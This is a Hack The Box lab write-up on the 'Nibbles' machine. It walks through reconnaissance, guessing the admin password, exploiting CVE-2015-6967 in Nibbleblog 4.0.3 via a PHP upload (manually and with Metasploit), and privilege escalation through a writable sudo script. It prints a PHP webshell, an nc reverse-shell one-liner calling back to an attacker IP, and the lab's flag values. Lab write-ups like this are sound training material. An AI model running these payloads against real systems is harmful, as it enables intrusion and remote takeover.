Hack The Box - Nibbles
This is my process write up on the Nibbles box from HTB. I will cover both the manual approach as well as the quicker approach leveraging the metasploit framework.
Recon - nmap
First in order to gather some information on the server, a quick nmap scan nmap -sV -sC <target> reveals some useful information. -sV is used here for service detection open ports; -sC runs the most common scripts - this is effectively the default category of scripts, more information about this can be found on Nmap’s documentation.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-15 21:07 EST
Nmap scan report for 10.129.200.170
Host is up (0.22s latency).
Not shown: 576 filtered tcp ports (no-response), 422 closed tcp ports (conn-refused)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Heading to the IP in a browser reveals a “Hello World!” page, with nothing interesting. We can take a look at the HTML source code with browser dev tools, which shows a comment suggesting to head to /nibbleblog.

A standard blog page is shown, looks like it’s powered by nibbleblog. We can also note that the title is “Nibbles Yum yum”.

Directory enumeration
Let’s run gobuster dir -u http://10.129.200.170/nibbleblog/ -w common.txt supplied with a common.txt wordlist (from SecLists) for the sake of speed. The results reveal there is an admin subdirectory as well as an admin.php login page.
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.200.170/nibbleblog
[+] Method: GET
[+] Threads: 10
[+] Wordlist: Downloads/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 309]
/.hta (Status: 403) [Size: 304]
/.htaccess (Status: 403) [Size: 309]
/README (Status: 200) [Size: 4628]
/admin (Status: 301) [Size: 327] [--> http://10.129.200.170/nibbleblog/admin/]
/admin.php (Status: 200) [Size: 1401]
/content (Status: 301) [Size: 329] [--> http://10.129.200.170/nibbleblog/content/]
/index.php (Status: 200) [Size: 2987]
/languages (Status: 301) [Size: 331] [--> http://10.129.200.170/nibbleblog/languages/]
/plugins (Status: 301) [Size: 329] [--> http://10.129.200.170/nibbleblog/plugins/]
/themes (Status: 301) [Size: 328] [--> http://10.129.200.170/nibbleblog/themes/]
Progress: 4727 / 4727 (100.00%)
===============================================================
Finished
===============================================================
Navigating to /admin:

Navigating to /admin.php:

Notably, there is a also readme which contains specific information on what is installed on the server and its version:
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01
Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com
This version is vulnerable to CVE-2015-6967, arbitrary file upload.
Access to admin
Looking around in the server directories finds nothing interesting, but we can confirm that an admin user exists from the file at http://10.129.200.170/nibbleblog/content/private/users.xml
<?xml version="1.0"?>
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">0</session_fail_count>
<session_date type="integer">1514544131</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
</users>
We can also see that there is a blacklist in place to protect against brute-force attacks, so that is not an option here or we’ll get locked out.
No signs of cleartext password can be found so we try some default credentials such as admin, password, but to no avail. We could do some guesswork, since there are several mentions of nibbles in the title, and in nibbles yum yum.
Fortunately admin:nibbles does the trick, and we gain access to the admin dashboard.

Gaining Remote Code Execution (RCE)
From a description of the CVE on NIST we can get arbitrary file upload and code execution through the image plugin feature.
Manually
Let’s try it out by testing for RCE with a simple php system call:
<?php system('id'); ?>
Save this to a payload.php file and upload via the My image interface, and test it:
$ curl http://10.129.200.170/nibbleblog/content/private/plugins/my_image/image.php
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
So we have RCE. Now let’s get a reverse shell - revshells provides a nice UI for generating reverse shell payloads. There is a selection of different commands that can be useful in case some don’t work depending on the OS. Enter our VPN IP (tun0) and any port number to get a payload and listener command.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.25 9001 >/tmp/f
Wrap this in the php system call and update our php payload file:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.25 9001 >/tmp/f'); ?>
Start our netcat listener on the host machine:
$ nc -lvnp 9001
We should get a connection, and now have a functional (but not very friendly) shell on the remote machine. We need a proper shell interface in order to use essential features like tab completion, text editors and moving the cursor. This post explains in detail the problems with the current reverse shell and how to upgrade it. In short, python3 -c 'import pty; pty.spawn("/bin/bash")' will do the trick for this machine. Thought it may not work on other machines that don’t have python3 installed.
Now we can read the contents of user.txt:
$ cd nibbler
$ cat user.txt
79c03865431abf47b90ef24b9695e148
With metasploit
Let’s enter msfconsole and search for nibbleblog:
msf6 > search nibbleblog
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nibbleblog_file_upload 2015-09-01 excellent Yes Nibbleblog File Upload Vulnerability
And there is our CVE we exploited in the manual approach. Let’s use it:
msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) >
We need to set some options first - to see what is required and current settings, we can use show options:
msf6 exploit(multi/http/nibbleblog_file_upload) > show options
Module options (exploit/multi/http/nibbleblog_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:
port[,type:host:port][...]
RHOSTS yes The target host(s), see https://gi
thub.com/rapid7/metasploit-framewo
rk/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing con
nections
TARGETURI / yes The base path to the web applicati
on
USERNAME yes The username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.15 yes The listen address (an interface may b
e specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nibbleblog 4.0.3
View the full module info with the info, or info -d command.
From here we can set our required options - rhosts to the remote machine IP, lhost to our VPN (tun0) IP, targeturi, username and password and run the exploit to get a shell.
msf6 exploit(multi/http/nibbleblog_file_upload) > set rhosts 10.129.200.170
rhosts => 10.129.200.170
msf6 exploit(multi/http/nibbleblog_file_upload) > set lhost 10.10.14.25
lhost => 10.10.14.25
msf6 exploit(multi/http/nibbleblog_file_upload) > set targeturi nibbleblog
targeturi => nibbleblog
msf6 exploit(multi/http/nibbleblog_file_upload) > set username admin
username => admin
msf6 exploit(multi/http/nibbleblog_file_upload) > set password nibbles
password => nibbles
msf6 exploit(multi/http/nibbleblog_file_upload) > exploit
Which gives us a shell as user nibbler.
Privilege escalation
Let’s use LinEnum.sh to check for privesc opportunities - note that this is a noisy script however. Instead we can use sudo -l and get the same information:
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
So we can run monitor.sh without root. ls -l shows that it is also in fact writeable without root - we can put revshell in here and gain a root shell.
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 9001 > /tmp/f" >> monitor.sh
Run the script:
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
Start our listener:
$ nc -lvnp 9001
And that gets us the root shell. Let’s proceed to read root.txt:
# cd /root
# cat root.txt
de5e5d6619862a8aa5b9b212314e0cdd
Troubleshooting
I was stuck on trying to upload a file and getting a shell for a long time. It appears to be a problem with the HTB servers, since changing VPN server and resetting the target machine did the trick, although this took a few attempts. I assume it is most likely due to a lot of other users attempting to do the same thing at once.